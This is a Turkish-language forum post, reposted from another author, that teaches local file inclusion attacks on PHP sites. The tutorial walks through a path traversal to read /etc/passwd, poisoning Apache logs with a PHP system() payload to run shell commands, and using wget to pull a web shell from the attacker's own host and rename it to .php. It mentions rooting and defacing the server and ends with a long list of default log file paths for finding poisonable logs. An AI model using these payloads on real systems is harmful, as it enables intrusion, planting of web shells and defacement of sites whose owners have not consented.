TransformiceTR
Would you like to react to this message? Create an account in a few clicks or log in to continue.


Transformice hakkında herşey!
 
AnasayfaAramaLatest imagesKayıt OlGiriş yap
Kimler hatta?
Toplam 1 kullanıcı online :: 0 Kayıtlı, 0 Gizli ve 1 Misafir

Yok

Sitede bugüne kadar en çok 37 kişi Salı Ağus. 01, 2017 3:25 pm tarihinde online oldu.
En iyi yollayıcılar
"BrKzZmN"
Tüm detaylarıyla LFI Vote_lcap1Tüm detaylarıyla LFI Voting_bar1Tüm detaylarıyla LFI Vote_rcap1 
bado
Tüm detaylarıyla LFI Vote_lcap1Tüm detaylarıyla LFI Voting_bar1Tüm detaylarıyla LFI Vote_rcap1 
FD GOD
Tüm detaylarıyla LFI Vote_lcap1Tüm detaylarıyla LFI Voting_bar1Tüm detaylarıyla LFI Vote_rcap1 
pasific
Tüm detaylarıyla LFI Vote_lcap1Tüm detaylarıyla LFI Voting_bar1Tüm detaylarıyla LFI Vote_rcap1 
Cskoliqqq
Tüm detaylarıyla LFI Vote_lcap1Tüm detaylarıyla LFI Voting_bar1Tüm detaylarıyla LFI Vote_rcap1 
Alphan
Tüm detaylarıyla LFI Vote_lcap1Tüm detaylarıyla LFI Voting_bar1Tüm detaylarıyla LFI Vote_rcap1 
Remixir
Tüm detaylarıyla LFI Vote_lcap1Tüm detaylarıyla LFI Voting_bar1Tüm detaylarıyla LFI Vote_rcap1 
-temizlikçi11-
Tüm detaylarıyla LFI Vote_lcap1Tüm detaylarıyla LFI Voting_bar1Tüm detaylarıyla LFI Vote_rcap1 
Egeycl
Tüm detaylarıyla LFI Vote_lcap1Tüm detaylarıyla LFI Voting_bar1Tüm detaylarıyla LFI Vote_rcap1 
KingStone
Tüm detaylarıyla LFI Vote_lcap1Tüm detaylarıyla LFI Voting_bar1Tüm detaylarıyla LFI Vote_rcap1 
Anket

 

 Tüm detaylarıyla LFI

Aşağa gitmek 
2 posters
YazarMesaj
pasific
Destekçi Üye
Destekçi Üye
pasific


Mesaj Sayısı : 84
Peynir : 2147483647
Rep : 10002
Kayıt tarihi : 03/08/10

Tüm detaylarıyla LFI Empty
MesajKonu: Tüm detaylarıyla LFI   Tüm detaylarıyla LFI EmptySalı Ağus. 03, 2010 5:22 pm

bu konu kodlamada ustune tanımadıgım RMx e aıt konu guzel oluncaaa htt de faydalansın ıstedımmm


1. Gerçekten okuyarak ( sallamadan ve atlamadan okuyun )
2. Bu böyleydi yok efendim şu şöyleydi muhabbeti de yapmayın. Sorusu ve eleştirisi olan varsa PM den msn istemek yerine burda sorsunlar. Çünkü forumda sormak bilmeyen kişilerinde kafasından bazı soru işaretlerini kaldırması demektir. Ve herkese de aynı şeyleri tekrar tekrar yazmak zorunda kalmayız...

Şimdi konumuza başlayabiliriz.

Ama önce nedir bu lfi dediğimiz olay ona bir göz atalım...LFI dediğimiz ( local file include) güvenlik açığının türkçesi yerel dosya dahil etmek anlamına gelir... Yani bir sunucu düşünün ve o sunucuda bulunan dosyaları sorgulayarak yaptığımız attack şeklidir.

Ve şöyle devam etmek istiyorum. Biliyorsunuz ki Türkiye'de pek açıklamasını bulamadığınız bir konudur ve tüm sitelerde şöyle olarak geçer "pek etkili olmasada..." , aslında buna ben katılmıyorum. LFI atak yöntemi rfi den daha tehlikelidir. neden derseniz 3 şekle dönüşebiliyor. LFI - RCE - RFI olarak kullanabiliyorsunuz...

Evet, bu bilgiyi de verdikten sonra isterseniz lfi nin yapısını inceleyelim...


1. LFI nasıl oluşur ?


öncelikle bir php sayfası üzerinden olayın mantığını anlatmaya çalışayım.



Kod:
#Dosya adı : test.php
<?php
include($_GET['sayfa'].".php");
?>


gibi bir kod yazdık. Normalde webmasterlar bunu kolaylık olsun diye kullanırlar. Hem daha az kod yazar , hemde daha az zaman kaybetmiş olur... Sayfa normalde şu şekilde çalışır. include ile bir dosya dahil edilir ve o dosya da sayfada gelen GET değişkeninden alır sayfa adını...

örneğin browserimize :

http://localhost/test.php?sayfa=haber

dediğimizde $_GET['sayfa'] değeri haber olacaktır. ve yukarıdaki koda dikkat ederseniz .php ile getirmiş devamına yani gelen değişkenin içerisindeki veriyi alırsak kısmen şu şekilde oluyor


Kod:
<?php
#Dosya adı : test.php

include("haber.php");
?>


Olayı anladıysanız eğer browserimizden gelen isteği sayfamıza eklemeye çalışıyor. tabi bu illa include olacak değil. değişik yollar da olabilir. Örnek vermek gerekirse ;

include();
include_once();
require();
require_once();
file();
file_get_contents();

gibi fonksiyonlarla beraber de çağırılabilir.

Evet. bu örneklere dayanarak şunları söyleyebiliriz o halde; Local file inclusion metodu aslında browserden değişken alarak ve alınan dosyayı sayfaya dahil eden sayfalarda meydana gelir. ve browserimizde istediğimiz sayfamızı ( haber.php 'yi ) açtık. Sayfa da hiç bir sorunumuz yok. Ama sizce sayfa bu kadar masum mu ?

Şimdi örneklerle nasıl hata verdirip nasıl kullanacağımız konusuna baqalım...

Hata verdirme :

Evet en son hatırlarsanız browserimizde http://localhost/test.php?sayfa=haber yazmıştık ve haber.php sayfamızı çağırmıştık. Şimdi browserde biraz oynama yaparak hata verdirmeye çalışalım...

Örnek 1 :

http://localhost/test.php?sayfa=/etc/passwd

yazdığımız zaman karşımıza hata vermiş bir sayfa çıkacaktır...

Warning: main(/etc/passwd): failed to open stream: No such file or directory in /usr/www/www.coderx.org/www/test.php on line 5

Warning: main(): Failed opening '/etc/passwd' for inclusion (include_path='.:') in /usr/www/www.coderx.org/www/test.php on line 6


Evet hata verdirmeyi başardık ( Ne mutlu bize ) Şimdi yukarıdaki hatayı açıklayalım. PHP bize ne gibi bilgiler vermeye çalışmış ve bu bilgileri ne yapabiliriz ne işimize yarar ?


Yukarıda ilk dikkat edeceğimiz failed to open stream No such file or directory oluyor... Bu bize öyle bir sayfanın o dizinde bulunmadığını gösterir. Hemen biraz daha ileriyi okuyoruz web sitenin sunucudaki adresini bize veriyor. Bunu bir yere not edelim... Ve bakıyoruz ki bizim istediğimiz /etc/passwd sayfası bu dizinde değil. Nerdeki ajaba ? Linux sunucular da ana dizin ( root directory ) dediğimiz dizinde bulunurlar. Peki buraya nasıl erişebilirim ? Az önce not edin dediğim dosya yolunu kullanarak ulaşabiliriz. Ama bundan önce kaç dizin olduğunu saymamız lazım.
Dizinleri parçalayarak yazalım ki kaç dizin yazacağımızı hesaplayalım ( / ) işaretinden itibaren parçalayın

Server dizini : /usr/www/www.coderx.org/www/test.php /usr ( 1 .ci dizin )

/www ( 2 .ci dizin )
/www.coderx.org ( 3. cü dizin )
/www ( 4. cü dizin )
/test.php ( şu an bulunduğumuz dizin )

istediğimiz sayfa = /etc/passwd

Evet dizinlerimizi parçaladık ve bakıyoruz ki 4 dizin var. Hemen istediğimiz sayfa ile dizin sayımızı birleştiriyoruz.

../../../../etc/passwd

buradaki her bir ../ işareti bir üst dizin anlamına geliyor. 4 tane üst dizinin üstündeki /etc/passwd dosyasını istemiş olduk. Ve browserimizdeki adresi şöyle değiştirerek

http://localhost/test.php?

sayfa=../../../../etc/passwd

Gelen veriye baktığımızda

# $FreeBSD$ #
root:*:0:0:RMx &:/root:/usr/local/bin/bash

.. ve devamı

Evet bu şekilde passwd dosyasını okuyabildik... İşte şu ana kadar yaptıklarımızı klasik türk sitelerinde bulunanlar kadardı biz işi daha ileriye aLpHaN+Banned!ürüyoruz. LFI üzerinden RCE ( Remote Command Execution = Uzaktan komut çalıştırma ) metodunu yaparak işlem yapabilir doyumsuz olan arkadaşlarımızın işini görmüyorsa RFI ( Remote file include = Uzakdan bir dosya dahil etme ) metodunu da ekleyebilir.

Şimdi işin bu kısmına kadar anladıysak işimiz bundan sonra biraz daha zorlaşacaktır. File inclusion metotları genelde bir linux sever için basittir. Ama linux ve linux komutlarına aşina değilseniz emin olun bir tarafınızdan terler akacaktır

Şimdi /etc/passwd dizinini buldum ? ne işime yarayacak ? Aslında bu konuya girmek istemiyorum bile her türlü kullanabilirsn. Onu da araştır biraz makaleyi elimden geldiği kadar kısa ve öz tutmak istiyorum.Normalde büyük ve bayağı teferruatlı bir konudur.

Şimdi de biraz konumuzun dışında olan bir şeyden bahsetmek istiyorum. Bilirsiniz web sitelerin çalışma mantığını. Siz web adresini yazarak girersiniz web sitede içinde olan sayfa veya veritabanı bilgilerini size sunar. Peki eğer istediğim şey o sayfada veya saayfalarda veya sunucu da yoksa ? işte o zaman sunucu tarafından ( apache veya internet information services ( IIS ) )tarafından hatalar bir hata sayfasına yazdırılırlar. Eğer ki root admin ( sunucu yöneticisi ) sunucunun kurulumuyla beraber gelen dosya yollarını değiştirmediyse istediğiniz sayfa veya veri hata olarak yazdırılırlar. Peki RMx bu benim ne işime yarayacak ?

Aslında bir çok şeye , Local file include metodnun can alıcı noktası da burada zaten... Eğer ben o web siteye girip de sayfaya örnek olarak şöyle bir istek attığımda da verileri yazdırmaz mı ?
http://localhost/<?php phpinfo(); ?>

BİLGİ :

<?php phpinfo(); ?> ne demektir ?

php nin information fonksiyonudur. Bize server ve serverdaki php ve birkaç kütüphane hakkında bilgi verir...Dissabled & enabled functions 'lara bakarak ne kullanacağımızı göre biliriz...

Elbetteki yazdırır...

Ama bunu yazdığına göre ben burya istediğim şeyi yazdırarak komut çalıştırabilirim ( farkındaysanız yavaş yavaş RCE metoduna giriyoruz .) O halde istediğim sayfayı değiştiriyorum ve şöyle yapıyorum...

http://localhost/<?php system("ls -la"); ?>

yada şöyle bir veri göndereyim ls -la ve diğer shell komutlarımı kullanmak için GET ile bir istek yapayım.

http://localhost/<?php system($_GET['mgg']); ?>

BİLGİ :

<?php system("ls -la"); ?> nedir ?

php de bulunan system fonksiyonu windows ise ms dos linux ise shell üzerinden komut çalıştırmamıza yarar. $_GET['mgg']; ise mgg den gelen bilgi anlamına gelir..Cümlemizi toparlarsak mggden gelen bilgiyi sistem üzerinde çalıştır demek olur...

Bunu yaptığımızda ne olacak ? hemen bir hata sayfası

404 This page not found

adında bir hata sayfası getirecektir. Böylelikle ne yapmış olduk ? Sunucu tarafından kaydedilen hata raporlarına php kodu enjekte etmiş olduk... Peki kodu enjekte ettik nasıl kullanacağım ben bunu ?


Aslında kullanması da basit. Sadece server tipine göre hangi dosyaya enjecte etmişseniz o dosya üzerinden kullanabilirsinz. Yine bir varsayım yapalım...

Örnek olarak atak yaptığım web sitenin kayıt yolu bu olsun

/apache/logs/access.log

bunu kendi sistemimize uyarlıyoruz...

ve şöyle oluyor...

http://localhost/test.php?sayfa=../../../../apache/logs/acces.log

browsermizden bu adrese girdiğimiz zaman web siteye yapılan istekler örüntülenecektir dolaysıyla bizim kodumuz da orda olacaktır. Şimdi dosyamızı ve nerde olduğunu da bildiğimize göre dosyamızı çalıştırabiliriz

http://localhost/test.php?sayfa=../../../../apache/logs/acces.log&mgg=ls -la

peki şimdi ne yaptık ? mgg ile linuxun dosya ve dizin listeleme metodu olan ls -la ile o an klasördeki dosyaları görmek istedik ve sonucu bize aynen döndürecektir...

Bu şekilde istediğiniz şeyi çalıştırabilirsiniz. Ama yukarda da bahsettiğim gibi doyumsuz arkadaşlarımızın da olduğunu söyledim. E tabi onlar serverda sadece işlem yapmak istemez serverı kendi kontrolüne de almak ister... Her zaman yapacak birşeyler vardır öyle değil mi

Şimdi LFI atağını RCE ye çevirdiğimize göre RCE atağını da RFI ye çevirelim. Linuxun wget fonksiyonunu kullanarak web siteye dosyamızı çekelim...

http://localhost/test.php?sayfa=../../../../apache/logs/acces.log&mgg=wget http://siteniz.com/shell_adresiniz.php

bu şekilde dosyanızı çekebilirsiniz... tabi bazen sorun oluyor işte aksilik Şöyle bir senaryo daha üretelim ve işimizi zorlaştıralım ( gerçi kolay ama ) wget ile php dosyalarını çekemeyebiliriz ( başıma çok geldiğinden söylüyorum bunu da ) o zaman kendi dosya çekeceğimiz siteye .txt uzantısında dosyamızı atıyoruz. Ve şöyle birşey yazıyoruz...


http://localhost/test.php?sayfa=../../../../apache/logs/acces.log&mgg=wget http://siteniz.com/shell_adresiniz.txt

bu şekilde genelde çeker... Ne yapmış olduk txt dosyasını servera yüklemiş olduk. E tabi txt halinde çalışmaz bunun uzantısını değiştirelim... Onu da şöyle yapabiliriz...

http://localhost/test.php?sayfa=../../../../apache/logs/acces.log&mgg=mv shell_adi.txt shell_adi.php

bu şekilde dosyanın adını değiştirmeden uzantısını değiştirdik. isterseniz adını da değiştirebilirsiniz size kalmış bir olaydır. Bundan sonrasını zaten biliyorsunuz videolu anlatımlarda var serverı rootlayarak tüm sunucuyu deface edebilirsnz vs vs...


Ellerim yoruldu benden bu kadar. Konunun başında da yazdığım gibi lütfen okuyarak cevap yazın... ve gereksiz yere Süpersin , Emeğine sağlık , + rep gibi boş boş mesajlar yazmayın hiç haz etmem


Konuyu bitirmeden önce elimde olan Default dosya yollarını da size veriyim. Hiç olmazsa log dosyalarını ararken yorulmazsınız...



Sunucu tipine göre verilmiştir...:



IRIX:

/var/adm/SYSLOG
/var/adm/sulog
/var/adm/utmp
/var/adm/utmpx
/var/adm/wtmp
/var/adm/wtmpx
/var/adm/lastlog/username
/usr/spool/lp/log
/var/adm/lp/lpd-errs
/usr/lib/cron/log
/var/adm/loginlog
/var/adm/pacct
/var/adm/dtmp
/var/adm/acct/sum/loginlog
/var/adm/X0msgs
/var/adm/crash/vmcore
/var/adm/crash/unix

AIX:

/var/adm/pacct
/var/adm/wtmp
/var/adm/dtmp
/var/adm/qacct
/var/adm/sulog
/var/adm/ras/errlog
/var/adm/ras/bootlog
/var/adm/cron/log
/etc/utmp
/etc/security/lastlog
/etc/security/failedlogin
/usr/spool/mqueue/syslog


SunOS:

/var/adm/messages
/var/adm/aculogs
/var/adm/aculog
/var/adm/sulog
/var/adm/vold.log
/var/adm/wtmp
/var/adm/wtmpx
/var/adm/utmp
/var/adm/utmpx
/var/adm/log/asppp.log
/var/log/syslog
/var/log/POPlog
/var/log/authlog
/var/adm/pacct
/var/lp/logs/lpsched
/var/lp/logs/lpNet
/var/lp/logs/requests
/var/cron/log
/var/saf/_log
/var/saf/port/log

Linux:

/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/wtmp
/etc/utmp
/opt/lampp/logs/error_log
/opt/lampp/logs/access_log
/var/log/lastlog
/var/log/telnetd
/var/run/utmp
/var/log/secure
/var/log/wtmp
/var/run/utmp
/var/log
/var/adm
/var/apache/log
/var/apache/logs
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/log/acct
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/apache-ssl/error.log
/var/log/apache-ssl/access.log
/var/log/auth.log
/var/log/xferlog
/var/log/message
/var/log/messages
/var/log/proftpd/xferlog.legacy
/var/log/proftpd.access_log
/var/log/proftpd.xferlog
/var/log/httpd/error_log
/var/log/httpd/access_log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/httpsd/ssl.access_log
/etc/mail/access
/var/log/qmail
/var/log/smtpd
/var/log/samba
/var/log/samba-log.%m
/var/lock/samba
/root/.Xauthority
/var/log/poplog
/var/log/news.all
/var/log/spooler
/var/log/news
/var/log/news/news
/var/log/news/news.all
/var/log/news/news.crit
/var/log/news/news.err
/var/log/news/news.notice
/var/log/news/suck.err
/var/log/news/suck.notice
/var/log/thttpd_log
/var/log/ncftpd/misclog.txt
/var/log/ncftpd.errs
/var/log/auth
/var/log/kern.log
/var/log/cron.log
/var/log/maillog
/var/log/qmail/
/var/log/httpd/
/var/log/lighttpd
/var/log/boot.log
/var/log/mysqld.log
/var/log/secure
/var/log/utmp
/var/log/wtmp
/var/log/yum.log
/var/spool/tmp
/var/spool/errors
/var/spool/logs
/var/spool/locks
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access.log
/var/www/logs/error.log
/var/www/logs/error_log
/var/www/logs/access_log
/root/.ksh_history
/root/.bash_history
/root/.bash_logut
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/access.log
/usr/local/apache/logs/error.log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/www/logs/thttpd_log

Windows

c:\Program Files\Apache Group\Apache\logs\error.log
c:\Program Files\Apache Group\Apache\logs\access.log
c:\apache\logs\error.log
c:\apache\logs\access.log
Sayfa başına dön Aşağa gitmek
"BrKzZmN"
Yönetici
Yönetici
Tüm detaylarıyla LFI 1-73


Mesaj Sayısı : 191
Peynir : 2147483647
Rep : 10000
Kayıt tarihi : 28/01/10

Tüm detaylarıyla LFI Empty
MesajKonu: Geri: Tüm detaylarıyla LFI   Tüm detaylarıyla LFI EmptySalı Ağus. 03, 2010 5:25 pm

Hiç bişey anlamasamda sağol anlayanlara faydası olur. Tüm detaylarıyla LFI Icon_biggrin
Sayfa başına dön Aşağa gitmek
https://transformice.hareketforum.net
 
Tüm detaylarıyla LFI
Sayfa başına dön 
1 sayfadaki 1 sayfası

Bu forumun müsaadesi var:Bu forumdaki mesajlara cevap veremezsiniz
TransformiceTR :: Oyun Dışı :: Pasfic'in Yeri-
Buraya geçin: